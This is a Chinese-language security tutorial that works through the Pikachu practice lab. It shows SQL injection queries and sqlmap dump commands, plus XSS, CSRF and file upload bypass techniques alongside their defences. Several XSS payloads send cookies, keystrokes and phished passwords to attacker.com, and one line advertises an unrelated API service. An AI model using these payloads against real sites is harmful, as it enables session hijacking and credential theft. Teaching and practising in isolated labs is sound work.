1. 项目概述
"pikachu学习笔记"系列是一套面向网络安全初学者的实战型教程,这个系列以皮卡丘(pikachu)靶场为实验环境,通过循序渐进的方式讲解各类Web安全漏洞的原理、利用方式和防御措施。作为该系列的第三篇笔记,本文将重点解析SQL注入、XSS、CSRF等常见Web漏洞的实战演练过程。
皮卡丘靶场是一个专门为安全学习设计的漏洞演示平台,它集成了数十种不同类型的Web安全漏洞案例。与DVWA等其他靶场相比,皮卡丘靶场的界面更加友好,漏洞场景设置更贴近真实环境,特别适合刚入门网络安全的新手进行实践操作。
提示:在进行任何安全测试前,请确保已获得系统所有者的明确授权,所有实验都应在本地搭建的测试环境中进行。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与配置
2.1 靶场部署方案选择
皮卡丘靶场支持多种部署方式,根据不同的使用场景,我们可以选择:
-
Docker部署(推荐)
bash复制
docker pull area39/pikachu docker run -d -p 8080:80 area39/pikachu这种方案最快捷,适合快速搭建测试环境。启动后通过http://localhost:8080即可访问。
-
源码手动部署
需要先安装PHP(5.4+)和MySQL环境,然后:bash复制git clone https://github.com/zhuifengshaonianhanlu/pikachu.git cd pikachu cp config.inc.php.example config.inc.php # 修改数据库配置 mysql -u root -p < pikachu.sql -
集成环境包
使用XAMPP或PHPStudy等集成环境,将源码直接放入web目录即可。
注意:无论采用哪种部署方式,都强烈建议在隔离的虚拟机或专用测试机器上运行,切勿在生产环境部署。
2.2 基础配置要点
成功部署后,需要进行以下关键配置:
-
数据库连接配置
修改config.inc.php文件中的数据库连接参数:php复制define('DBUSER', 'root'); // 数据库用户名 define('DBPW', 'password'); // 数据库密码 define('DBNAME', 'pikachu'); // 数据库名 define('DBHOST', 'localhost'); // 数据库主机 -
安全配置调整
- 关闭PHP错误显示:
display_errors = Off - 设置合适的文件权限:
chmod -R 755 pikachu/
- 关闭PHP错误显示:
-
功能模块检查
登录后台后,确保以下核心功能模块可用:- SQL注入实验室
- XSS漏洞测试区
- CSRF攻击演示
- 文件上传漏洞
- RCE(远程命令执行)
3. SQL注入漏洞深度解析
3.1 注入原理与分类
SQL注入是Web安全中最经典也最危险的漏洞之一。其本质是攻击者通过构造特殊输入,改变原有SQL语句的逻辑结构。在皮卡丘靶场中,主要演示了以下几种注入类型:
-
数字型注入
sql复制SELECT * FROM users WHERE id = 1 AND 1=1通过永真条件绕过验证
-
字符型注入
sql复制SELECT * FROM users WHERE username = 'admin' AND '1'='1'利用引号闭合实现注入
-
搜索型注入
sql复制SELECT * FROM products WHERE name LIKE '%test%' AND 1=1 -- %'在搜索功能中常见的注入方式
-
报错型注入
利用数据库报错信息泄露数据:sql复制AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -
盲注
包括布尔盲注和时间盲注,在没有明显回显时使用
3.2 手工注入实战步骤
以皮卡丘靶场中的"数字型注入"为例,详细操作流程:
-
探测注入点
code复制http://localhost:8080/vul/sqli/sqli_id.php?id=1尝试添加单引号测试:
code复制http://localhost:8080/vul/sqli/sqli_id.php?id=1'如果页面报错,说明存在注入可能
-
判断注入类型
测试数字型:code复制id=1 AND 1=1 // 正常显示 id=1 AND 1=2 // 无结果显示测试字符型:
code复制id=1' AND '1'='1 // 正常 id=1' AND '1'='2 // 异常 -
获取数据库信息
code复制id=1 UNION SELECT 1,version(),3,4,5 id=1 UNION SELECT 1,database(),3,4,5 -
爆表名
code复制id=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database() -
爆字段名
code复制id=1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users' -
获取数据
code复制id=1 UNION SELECT 1,username,password,4,5 FROM users
3.3 自动化工具使用
虽然手工注入有助于理解原理,但在实际测试中,我们通常会使用工具提高效率:
-
SQLmap基础用法
bash复制sqlmap -u "http://localhost:8080/vul/sqli/sqli_id.php?id=1" --dbs sqlmap -u "http://localhost:8080/vul/sqli/sqli_id.php?id=1" -D pikachu --tables sqlmap -u "http://localhost:8080/vul/sqli/sqli_id.php?id=1" -D pikachu -T users --dump -
Burp Suite辅助测试
- 拦截请求后发送到Repeater模块
- 使用Intruder进行模糊测试
- 结合Decoder分析数据
重要提示:自动化工具可能对目标系统造成意外影响,测试前务必做好备份,并在授权范围内使用。
4. XSS跨站脚本攻击剖析
4.1 XSS类型与危害
XSS(Cross-Site Scripting)允许攻击者在受害者的浏览器中执行恶意脚本。皮卡丘靶场展示了三种主要类型:
-
反射型XSS
- 恶意脚本来自当前HTTP请求
- 通常通过诱骗用户点击特制链接触发
- 示例:
code复制http://localhost:8080/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>
-
存储型XSS
- 恶意脚本被保存到服务器
- 影响所有访问相关页面的用户
- 常见于留言板、评论系统等
-
DOM型XSS
- 完全在客户端发生,不涉及服务器
- 由不安全的DOM操作引起
- 示例:
javascript复制document.write(location.hash.substring(1))
4.2 攻击载荷构造技巧
-
基础弹窗测试
html复制<script>alert(document.domain)</script> -
窃取Cookie
javascript复制<script>new Image().src="http://attacker.com/steal.php?cookie="+document.cookie</script> -
键盘记录
javascript复制document.onkeypress = function(e) { new Image().src="http://attacker.com/log.php?key="+e.key; } -
钓鱼攻击
html复制<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"> <h1>系统升级通知</h1> <p>请输入您的账号密码:</p> <input type="text" id="username"> <input type="password" id="password"> <button onclick="submitData()">提交</button> </div> <script> function submitData() { fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ user: document.getElementById('username').value, pass: document.getElementById('password').value }) }); } </script>
4.3 防御方案实现
-
输入过滤
php复制$input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8'); -
输出编码
javascript复制function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } -
Content Security Policy
在HTTP头中添加:code复制Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' -
HttpOnly Cookie
php复制setcookie("sessionid", "value", 0, "/", "", false, true);
5. CSRF跨站请求伪造实战
5.1 CSRF攻击原理
CSRF(Cross-Site Request Forgery)利用用户已登录的身份,在用户不知情的情况下执行非法操作。皮卡丘靶场中的典型场景:
-
GET型CSRF
html复制<img src="http://bank.com/transfer?to=hacker&amount=10000" width="0" height="0"> -
POST型CSRF
html复制<form action="http://bank.com/transfer" method="POST" id="csrf"> <input type="hidden" name="to" value="hacker"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('csrf').submit()</script>
5.2 防御措施对比
-
验证Referer
php复制if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != $_SERVER['HTTP_HOST']) { die('非法请求'); } -
Token验证
php复制// 生成Token $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 验证Token if($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('Token验证失败'); } -
SameSite Cookie
php复制setcookie("sessionid", "value", [ 'expires' => 0, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); -
二次验证
对敏感操作要求重新输入密码或短信验证
6. 文件上传漏洞利用与防御
6.1 常见绕过技巧
-
前端验证绕过
- 直接修改HTML或使用Burp拦截修改
- 示例:
html复制<input type="file" accept=".jpg,.png"> <!-- 前端限制 -->
-
MIME类型绕过
php复制// 服务端检查$_FILES['file']['type'] // 使用Burp修改Content-Type头 -
文件头检查绕过
- 在真实图片后附加恶意代码
- 使用GIF89a等魔术字
-
解析漏洞利用
- Apache解析漏洞:test.php.jpg
- IIS6.0分号解析:test.asp;.jpg
- Nginx文件名逻辑漏洞
6.2 安全上传实现
-
白名单验证
php复制$allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die('文件类型不允许'); } -
文件重命名
php复制$new_name = md5(uniqid()).'.'.$ext; move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_name); -
内容检测
php复制$content = file_get_contents($_FILES['file']['tmp_name']); if(preg_match('/<\?php|eval\(|base64_decode/i', $content)) { die('文件内容可疑'); } -
权限隔离
- 上传目录禁止执行PHP
- 配置nginx规则:
nginx复制location ~* ^/uploads/.*\.(php|php5)$ { deny all; }
7. 综合防御体系建设
7.1 安全编码规范
-
输入验证原则
- 所有输入都是不可信的
- 使用白名单而非黑名单
- 在服务器端验证
-
安全函数使用
不安全函数 安全替代方案 mysql_query() PDO预处理 exec() escapeshellarg() unserialize() json_decode() include($file) 白名单验证 -
错误处理规范
- 生产环境关闭错误显示
- 使用自定义错误页面
- 记录错误日志
7.2 Web应用防火墙配置
-
ModSecurity核心规则
apache复制SecRuleEngine On SecRequestBodyAccess On SecRule REQUEST_URI "@contains select" "id:1001,deny,status:403" -
Nginx WAF配置
nginx复制location / { if ($args ~* "union.*select") { return 403; } if ($args ~* "base64_decode") { return 403; } } -
云WAF服务
- 阿里云Web应用防火墙
- 腾讯云网站管家
- Cloudflare WAF
7.3 安全测试流程
-
测试阶段
- 需求分析:识别安全需求
- 设计评审:检查架构安全性
- 代码审计:静态分析
- 渗透测试:动态测试
-
测试工具链
工具类型 代表工具 漏洞扫描 Burp Suite, OWASP ZAP 代码审计 SonarQube, Fortify 配置检查 Lynis, OpenSCAP 模糊测试 AFL, Peach -
持续安全集成
yaml复制# GitLab CI示例 security_test: stage: test script: - docker run --rm owasp/zap2docker-weekly zap-baseline.py -t $URL - sonar-scanner -Dsonar.login=$SONAR_TOKEN
8. 靶场进阶使用技巧
8.1 自定义漏洞场景
通过修改皮卡丘靶场源码,可以创建自定义漏洞场景:
-
添加新漏洞页面
php复制// vul/custom/example.php $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysql_query($sql); -
扩展数据库结构
sql复制ALTER TABLE users ADD COLUMN phone VARCHAR(20); INSERT INTO users VALUES(100,'test','test@example.com','12345678901'); -
构建复杂攻击链
组合多个漏洞实现更高级攻击:- 通过XSS获取管理员Cookie
- 使用管理员会话进行CSRF操作
- 利用文件上传获取Webshell
- 通过SQL注入获取数据库凭证
8.2 靶场与真实环境对比
| 特性 | 皮卡丘靶场 | 真实环境 |
|---|---|---|
| 漏洞明显度 | 高,有明确提示 | 隐蔽,需要探测 |
| 防御措施 | 基本无防护 | 可能有WAF、IDS等 |
| 系统复杂度 | 简单独立系统 | 复杂互连系统 |
| 漏洞利用难度 | 标准化流程 | 需要定制开发 |
| 后果影响 | 无实际损害 | 可能造成真实损失 |
8.3 学习路径建议
-
基础阶段(1-2周)
- 完成皮卡丘靶场所有漏洞练习
- 理解每种漏洞的原理和利用方式
- 掌握基本的手工测试方法
-
进阶阶段(3-4周)
- 尝试不使用提示完成挑战
- 研究自动化工具的使用
- 学习简单的漏洞修复方法
-
实战阶段(持续)
- 参与合法的漏洞赏金计划
- 搭建自己的实验环境
- 关注最新漏洞动态和利用技术
在实际渗透测试工作中,我强烈建议从授权测试开始,逐步积累经验。每次测试后要详细记录操作步骤和发现的问题,这不仅能帮助客户更好地修复漏洞,也是提升自身技术的重要途径。
